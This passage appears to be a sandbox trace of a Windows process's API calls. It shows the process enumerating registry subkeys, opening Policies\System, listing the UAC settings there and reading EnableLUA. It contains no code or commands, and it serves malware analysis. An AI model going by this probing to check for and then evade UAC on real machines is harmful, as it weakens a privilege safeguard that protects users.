WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x226c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0140.091] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x226b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x226c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0140.091] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x226b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x226c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0140.091] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x226b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x226c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0140.092] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x226b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x226c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0140.092] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x226b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x226c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0140.092] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x226b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x226c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0140.092] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x226b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x226c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0140.092] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x226b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x226c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0140.092] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x226b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0140.092] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x226b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x226c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0140.092] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x20f57c | out: phkResult=0x20f57c*=0xa0) returned 0x0 [0140.093] RegCloseKey (hKey=0x24) returned 0x0 [0140.093] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x226b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0140.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x226c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0140.093] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x226b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0140.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x226c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0140.093] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x226b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0140.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x226c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0140.093] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x226b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0140.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x226c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0140.093] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x226b930, cchName=0x104 | out: lpName="System") returned 0x0 [0140.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x226c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0140.093] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x20f57c | out: phkResult=0x20f57c*=0x24) returned 0x0 [0140.093] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b930) returned 1 [0140.093] RegCloseKey (hKey=0xa0) returned 0x0 [0140.093] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b860) returned 1 [0140.093] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226b860 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b878 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0140.094] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b888 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.094] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b898 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c168 [0140.094] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b930 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1b0 [0140.094] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x20) returned 0x226b940 [0140.094] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b860) returned 1 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b860 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1f8 [0140.094] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b968 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c240 [0140.094] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b978 [0140.094] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.094] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b988 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c2d0 [0140.095] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x30) returned 0x226b998 [0140.095] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b940) returned 1 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b940 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c318 [0140.095] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b950 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c360 [0140.095] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b9d0 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c3a8 [0140.095] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b9e0 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c3f0 [0140.095] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c438 [0140.095] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b998) returned 1 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b998 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c480 [0140.095] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b9a8 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c4c8 [0140.095] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b9b8 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c510 [0140.095] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b9f0 [0140.095] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c558 [0140.096] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0140.096] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c5a0 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c5a0) returned 1 [0140.096] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c5a0 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c5a0) returned 1 [0140.096] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c5a0 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c5a0) returned 1 [0140.096] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c5a0 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c5a0) returned 1 [0140.096] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c5a0 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b878) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b888) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c168) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b898) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c1b0) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b930) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c1f8) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b860) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c240) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b968) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b978) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c2d0) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b988) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c318) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b940) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c360) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b950) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c3a8) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b9d0) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c3f0) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b9e0) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c480) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b998) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c4c8) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b9a8) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c510) returned 1 [0140.097] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b9b8) returned 1 [0140.097] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c558) returned 1 [0140.097] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b9f0) returned 1 [0140.097] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c438) returned 1 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c438 [0140.097] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x20f594, lpData=0x0, lpcbData=0x20f59c*=0x0 | out: lpType=0x20f594*=0x4, lpData=0x0, lpcbData=0x20f59c*=0x4) returned 0x0 [0140.097] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x20f594, lpData=0x226c438, lpcbData=0x20f59c*=0x4 | out: lpType=0x20f594*=0x4, lpData=0x226c438*=0x1, lpcbData=0x20f59c*=0x4) returned 0x0 [0140.097] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c438) returned 1 [0140.097] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c5a0) returned 1 [0140.097] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226b860 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b878 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c5a0 [0140.097] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b888 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c438 [0140.097] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226b898 [0140.097] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c558 [0140.097] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x20f488, lpcchValueName=0x20f484, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x20f484, lpType=0x0, lpData=0x0, 